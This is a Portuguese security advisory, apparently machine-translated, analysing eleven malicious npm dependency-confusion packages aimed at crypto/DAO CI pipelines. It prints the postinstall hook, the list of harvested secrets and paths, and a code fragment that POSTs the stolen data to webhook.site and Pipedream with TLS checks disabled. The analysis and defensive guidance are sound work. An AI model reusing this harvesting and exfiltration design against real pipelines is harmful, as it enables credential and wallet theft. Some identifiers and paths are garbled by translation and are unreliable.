TL, DR
Em 17/06/2026, uma única conta npm publicou onze pacotes que compartilham um propósito e uma carga útil.Dez deles carregam o cryptodao- prefixo (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); o décimo primeiro é o escopo @public-for-cdao/coreTodos foram publicados na versão 99.99.99 e envia um byte idêntico recon.js que roda postinstall.
Os nomes são a pista. Parecem os blocos de construção internos da cadeia de ferramentas privada de um projeto de criptomoedas/DAO. Publicados no registro público do npm em uma versão artificialmente alta, ficam aguardando uma compilação. pipeline que está configurado para resolver esses nomes e que acessa o npm público antes — ou em vez de — o registro privado. Isto é confusão de dependênciaE a carga útil é ajustada exatamente para o local onde espera pousar: CI/CD corredores.
Ao postinstall incêndios, recon.js coleta detalhes do anfitrião, realiza varreduras aproximadas quarenta variáveis de ambiente de nuvem, CI e carteira de criptomoedas, lê qualquer .env arquiva os dados que consegue encontrar e encaminha as linhas contendo o segredo na íntegra, depois transmite o pacote para dois coletores — webhook.site e um endpoint Pipedream — com a verificação de certificado TLS desativada. Uma cópia também foi escrita em /tmp.
Gravidade: AltoEcossistema afetado: npmTodos os onze pacotes estavam ativos no momento da redação deste texto.
Anatomia do ataque
O mecanismo possui quatro partes móveis, e nenhuma delas é sutil depois que você aprende a usá-las. Procure um nível além do nome da embalagem.
1. Inflação de versões como isca para resolver mecanismos de busca. Cada pacote declara a versão. 99.99.99A confusão de dependências ocorre quando um gerenciador de pacotes solicita um nome interno, também verifica o registro público e escolhe a versão mais recente. encontra. A seleção padrão do npm para um intervalo de caracteres curinga ou acento circunflexo é o versão mais satisfatória em todas as fontes configuradas; se ambas forem privadas Se houver uma resposta no registro e outra no npm pública para o mesmo nome, prevalece o número de versão maior. A 99.99.99 supera essencialmente qualquer versão interna real que um projeto possa ter. alcançado, portanto, um resolvedor que não está fixado na fonte privada prefere o cópia pública — e, neste caso, hostil. O operador não precisa saber o Números de versão reais do alvo; escolher um máximo absurdo garante sempre o empate abrem caminho.
2. Um gatilho pós-instalação. package.json conecta a carga útil à instalação vida útil:
{ "scripts": { "postinstall": "node recon.js" } } Não é necessário importar o pacote. Basta instalá-lo — o que é feito por um CI (Integração Contínua). pipeline faz automaticamente — executa recon.js.
3. Uma ampla varredura secreta. recon.js monta uma matriz de resultados em etapas:
- Contexto do host: nome do host, plataforma e versão, arquitetura, nome de usuário, horário de trabalho diretório.
- Variáveis de ambiente: itera sobre uma lista fixa de cerca de quarenta nomes e registros. Qualquer um que esteja definido. A lista é reveladora — ela combina tokens CI genéricos. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) e nuvem credenciais (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) com segredos de registro e contêiner (NPM_TOKEN, SENHA_DO_DOCKER, SENHA_DO_HARBOR) e um cluster com um sabor claramente criptográfico: CHAVE_PRIVADA, MNEMÔNICO, FRASE_SEMENTE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCOs valores registrados são truncados para os primeiros 50 caracteres.
- .env arquivos: ele examina uma lista de caminhos — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, e .Produção/.desenvolvimento variantes — e para qualquer arquivo que exista, ele filtra o conteúdo para linhas correspondentes CHAVE|SEGREDO|TOKEN|SENHA|PRIVADO|MNEMÔNICO e insere essas linhas **na íntegra, sem truncamento**, nos resultados.
- Contexto do host de compilação: lista as primeiras 20 entradas de /construções/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ e / tmp /.
A lista de caminhos e a lista de variáveis são ponderadas em favor dos executores do GitLab, o que aponta para... a carga útil diretamente na infraestrutura de CI auto-hospedada, em vez de um desenvolvedor laptop. Agrupar a lista de colheita por categoria torna a colheita pretendida mais clara:
| Categoria | Variáveis/caminhos alcançados |
|---|---|
| CI/CD identidade e implantação | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Na nuvem | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registro e contêiner | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Armazenamento de dados | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Criptomoedas / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Mensagens | SLACK_TOKEN, DISCORD_TOKEN |
| Em disco | .env família + /home/gitlab-runner/.env, /root/.env, /app/**/.env; listas de diretórios de /builds/, /var/lib/gitlab-runner/ |
O cluster criptográfico é o que diferencia isso de um segredo CI genérico. varredura: frases-semente da carteira e chaves de assinatura só aparecem no ambiente de um projeto blockchain, e eles se mapeiam diretamente no criptodao-/sinal/contratos nomeação das transportadoras.
4. Exfiltração dupla com verificação desativada. O array coletado é Serializado e enviado via POST para dois destinos:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejeitarNãoAutorizado: falso Desativa a verificação de certificados TLS para conexões de saída. chamadas. Os mesmos dados são impressos na saída padrão (portanto, também são registrados nos logs de tarefas de CI) e escrito /tmp/.npm_recon_ .jsonOs erros são engolidos silenciosamente, então um Uma falha no envio não deixa rastros na saída da instalação além de uma única mensagem. [recon] instalado em linha.
Um comentário importante no arquivo descreve o problema como uma "Confusão de Dependências". Carga útil de reconhecimento.” O truncamento dos valores de ambiente para 50 caracteres tem a forma de uma prova de conceito. O que a diferencia de um mero sinalizador de presença é o .env Manuseio: as linhas que contêm informações confidenciais são encaminhadas na íntegra, e os destinos são informados. são dois coletores funcionais controlados pelo atacante, em vez de um coletor que apenas conta. exitos.
Timeline
O padrão de publicação é a assinatura de um único push programado, não de onze. Envios independentes.
| Hora (UTC, 17/06/2026) | Evento |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publicado |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variante com escopo definido, aproximadamente 24 minutos depois |
Dez encomendas foram enviadas em um intervalo de 29 segundos, aproximadamente uma a cada três segundos. O escopo @public-for-cdao/core seguido cerca de 24 minutos depois — um segundo convenção de nomenclatura para o mesmo alvo, caso o projeto consumidor faça referência ao cadeia de ferramentas interna sob um escopo, em vez de apenas nomes genéricos.
Indicadores de compromisso
| Formato | Indicador |
|---|---|
| Colecionador | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Colecionador | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instalar gancho | postinstall: node recon.js |
| Arquivo descartado | /tmp/.npm_recon_<timestamp>.json |
| Marcador de tronco | [recon] <pkg>@<ver> installed on <hostname> (saída padrão nos logs de CI) |
| Comportamentais | rejectUnauthorized: false no HTTPS de saída durante a instalação |
| carga paga | recon.js, idêntico em todos os onze pacotes (uma compilação compartilhada) |
| Versão | 99.99.99 em cada pacote |
| PACOTES | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (todos 99.99.99) |
| Publisher | aduljune / aduljune@proton.me (e-mail não verificado, nenhum repositório de origem vinculado) |
Atribuição e comportamento observado
Tudo no cluster aponta para uma única conclusão. Todos os onze pacotes foram publicados. pela conta npm aduljune (aduljune@proton.me, um endereço não verificado sem repositório de código-fonte vinculado), dentro de um intervalo de 25 minutos, ao mesmo tempo 99.99.99 versão, envio de um recon.js cujo conteúdo é idêntico byte a byte em todos os casos. pacote (MD5 corresponde em todas as onze cópias extraídas). Isso é uma carga útil. Carimbado em uma lista de nomes, não é reutilização independente de código.
A lista de nomes define o público-alvo pretendido. criptodao-* e cdao descreva o Layout do módulo privado de um projeto cripto/DAO e a lista de coleta do payload. reflete essa suposição: além dos segredos genéricos de CI e nuvem, especificamente alcança CHAVE_PRIVADA, MNEMÔNICO, FRASE_SEMENTEe Ethereum/BSC RPC e Chaves do provedor. O .env Os caminhos de pesquisa e as listagens de diretórios são do GitLab-runner. específico. O efeito observável é que qualquer pipeline enganados para instalar estes Os nomes encaminhariam seus tokens CI, chaves na nuvem e dados em disco. .env segredos — e, para um projeto blockchain, seu material de carteira — para dois coletores terceirizados.
Não fazemos nenhuma afirmação sobre quem opera a conta ou o que planejavam fazer com ela. dados. Os fatos que falam por si: os nomes se referem a um tipo específico de Na cadeia de ferramentas interna, a carga útil lê e transmite valores secretos reais, e o A infraestrutura estava ativa.
Impacto, tendências e orientações para defensores
Confusão de dependência continua eficaz porque explora o comportamento do resolvedor, não um vulnerabilidade em qualquer pacote. A transportadora aqui é trivial — onze quase vazios pacotes — mas o raio da explosão é qualquer coisa pipeline prefere erroneamente o npm público. para um nome interno. Os executores do CI são o pior lugar para isso acontecer: eles retêm exatamente os tokens e .env arquivos que este payload lê e instala dependências não interativas, então um pós-instalação Corre sem que ninguém esteja olhando.
Este cluster também se encaixa em um padrão que continuamos a observar: payloads de instalação que apresentam como “pesquisa” ou “reconhecimento”, enquanto se realiza a coleta real de credenciais. O rótulo O código no arquivo não altera o que ele faz no executor. Duas escolhas de design mantêm a atividade silenciosa: cada operação de rede e sistema de arquivos é encapsulada em um Manipulador de exceções que descarta erros, como um envio bloqueado ou um arquivo ausente. Não produz nenhum resultado de diagnóstico e a única coisa impressa é uma única mensagem inócua. [recon] … instalado linha que se mistura com a conversa normal da instalação. O uso de webhook.site E o Pipedream também é uma solução prática e deliberada — ambos são gratuitos. Serviços de captura de solicitações provisionados instantaneamente, portanto o operador não precisa de servidores de Os registros de saída mostram que os nomes de host próprios e os destinos se parecem com nomes de host SaaS comuns.
São os aspectos econômicos que tornam isso digno da atenção de um defensor, mesmo que... O código da operadora é trivial. Registrar onze nomes não custa nada, a carga útil é uma. O arquivo foi copiado onze vezes e o gerenciador de pacotes realiza toda a execução. Um único mal configurado pipeline Qualquer lugar que consuma um desses nomes paga pelo valor total. operação.
Medidas concretas para os defensores:
- Fixe os escopos internos ao seu registro privado. Configure o npm para que os nomes internos sejam definidos.
e os escopos são resolvidos apenas em relação ao seu registro (mapeamentos de registro .npmrc com escopo, ou um proxy que nunca repasse para o npm público para namespaces próprios). Reserve seus nomes de escopo público para que ninguém mais possa registrá-los.
- Commit bloquear arquivos e instalar com –ignore-scripts em CI sempre que possível, ou Analise o pequeno conjunto de dependências que realmente precisam de scripts de instalação. O recon.js não pode ser executado se pós-instalação não é executado.
- Trate uma versão de 99.99.99 (ou outro valor absurdamente alto) de um nome com aparência interna. como um sinal de alerta na revisão de dependências e no monitoramento de registros.
- Alerta sobre saída durante a instalação. A pós-instalação que abre um HTTPS de saída conexão — especialmente com a verificação de certificado desativada — para Serviços como webhook.site, Pipedream ou similares de captura de requisições devem ser bloqueados na borda da rede e sinalizados nos logs de compilação.
- Procure os artefatos. Verifique os corredores para /tmp/.npm_recon_*.json e para o [recon] … instalado em … marcador em logs recentes de CI. Se encontrado, rotacione a cada credencial exposta a isso pipeline — Tokens CI, chaves de nuvem, tokens de registro e quaisquer seeds de carteira ou chaves privadas presentes no ambiente ou nos arquivos .env.
Referências
Não havia relatos externos sobre esse agrupamento no momento da redação deste documento; a análise O texto acima baseia-se diretamente no conteúdo da embalagem publicada.





